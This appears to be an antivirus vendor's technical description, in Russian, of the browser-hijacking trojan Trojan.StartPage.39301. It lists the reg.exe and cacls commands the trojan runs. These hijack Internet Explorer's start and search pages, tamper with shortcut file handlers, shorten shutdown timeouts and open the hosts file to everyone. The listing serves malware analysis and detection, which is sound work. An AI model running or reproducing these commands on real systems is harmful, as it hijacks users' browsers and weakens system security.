Trojan.StartPage.39301

Техническая информация

Вредоносные функции:

Запускает на исполнение:

<SYSTEM32>\reg.exe add "HKEY_CLASSES_ROOT\lnkfile\shellex" /ve
<SYSTEM32>\reg.exe add "HKEY_CLASSES_ROOT\lnkfile\CLSID" /ve /t REG_SZ /d "{00021401-0000-0000-C000-000000000046}"
<SYSTEM32>\reg.exe add "HKEY_CLASSES_ROOT\lnkfile\shellex\ContextMenuHandlers\Offline Files" /ve /t REG_SZ /d "{750fdf0e-2a26-11d1-a3ea-080036587f03}"
<SYSTEM32>\reg.exe add "HKEY_CLASSES_ROOT\lnkfile\shellex\ContextMenuHandlers" /ve
<SYSTEM32>\reg.exe add "HKEY_CLASSES_ROOT\lnkfile" /v "NeverShowExt" /t REG_SZ /d ""
<SYSTEM32>\reg.exe add "HKEY_CLASSES_ROOT\lnkfile" /ve /t REG_SZ /d "┐ь╜▌╖╜╩╜"
<SYSTEM32>\reg.exe delete "HKEY_CLASSES_ROOT\lnkfile" /v "IsShortcut"
<SYSTEM32>\reg.exe add "HKEY_CLASSES_ROOT\lnkfile" /v "EditFlags" /t REG_DWORD /d "1"
<SYSTEM32>\reg.exe add "HKEY_CLASSES_ROOT\lnkfile\shellex\PropertySheetHandlers\ShimLayer Property Page" /ve /t REG_SZ /d "{513D916F-2A8E-4F51-AEAB-0CBC76FB1AF8}"
<SYSTEM32>\reg.exe add "HKEY_CLASSES_ROOT\lnkfile\shellex\PropertySheetHandlers" /ve
<SYSTEM32>\reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\SearchScopes" /v "Version" /t REG_DWORD /d "0"
<SYSTEM32>\reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\SearchScopes" /v "DefaultScope" /t REG_SZ /d "{C4ABDD0F-B220-4CEB-850C-8AD55DAA9451}"
<SYSTEM32>\reg.exe add "HKEY_CLASSES_ROOT\lnkfile\shellex\DropHandler" /ve
<SYSTEM32>\reg.exe add "HKEY_CLASSES_ROOT\lnkfile\shellex\ContextMenuHandlers\{00021401-0000-0000-C000-000000000046}" /ve
<SYSTEM32>\reg.exe add "HKEY_CLASSES_ROOT\lnkfile\shellex\IconHandler" /ve /t REG_SZ /d "{00021401-0000-0000-C000-000000000046}"
<SYSTEM32>\reg.exe add "HKEY_CLASSES_ROOT\lnkfile\shellex\DropHandler" /ve /t REG_SZ /d "{00021401-0000-0000-C000-000000000046}"
<SYSTEM32>\reg.exe delete "HKEY_CLASSES_ROOT\lnkfile"
<SYSTEM32>\reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main" /v "Default_Page_URL" /t REG_SZ /d "http://www.55##t.com/"
<SYSTEM32>\reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main" /v "Default_Search_URL" /t REG_SZ /d "http://SO.##5xt.com/"
<SYSTEM32>\reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v "HungAppTimeout" /t REG_SZ /d "200"
<SYSTEM32>\reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main" /v "Start Page" /t REG_SZ /d "http://www.55##t.com/"
<SYSTEM32>\reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Search Bar" /t REG_SZ /d "http://SO.##5xt.com/"
<SYSTEM32>\reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /t REG_SZ /d "http://www.55##t.com/"
<SYSTEM32>\reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main" /v "Search Page" /t REG_SZ /d "http://SO.##5xt.com/"
<SYSTEM32>\reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Search Page" /t REG_SZ /d "http://SO.##5xt.com/"
<SYSTEM32>\reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control" /v "WaitToKillServiceTimeout" /t REG_SZ /d "500"
<SYSTEM32>\reg.exe add "HKEY_USERS\.DEFAULT\Control Panel\Desktop" /v "AutoEndTasks" /t REG_SZ /d "1"
<SYSTEM32>\cacls.exe "<DRIVERS>\etc\hosts" /T /C /P everyone:F
<SYSTEM32>\reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control" /v "WaitToKillServiceTimeout" /t REG_SZ /d "500"
<SYSTEM32>\reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v "AutoEndTasks" /t REG_SZ /d "1"
<SYSTEM32>\reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v "WaitToKillAppTimeout" /t REG_SZ /d "1000"
<SYSTEM32>\reg.exe add "HKEY_USERS\.DEFAULT\Control Panel\Desktop" /v "WaitToKillAppTimeout" /t REG_SZ /d "1000"
<SYSTEM32>\reg.exe add "HKEY_USERS\.DEFAULT\Control Panel\Desktop" /v "HungAppTimeout" /t REG_SZ /d "200"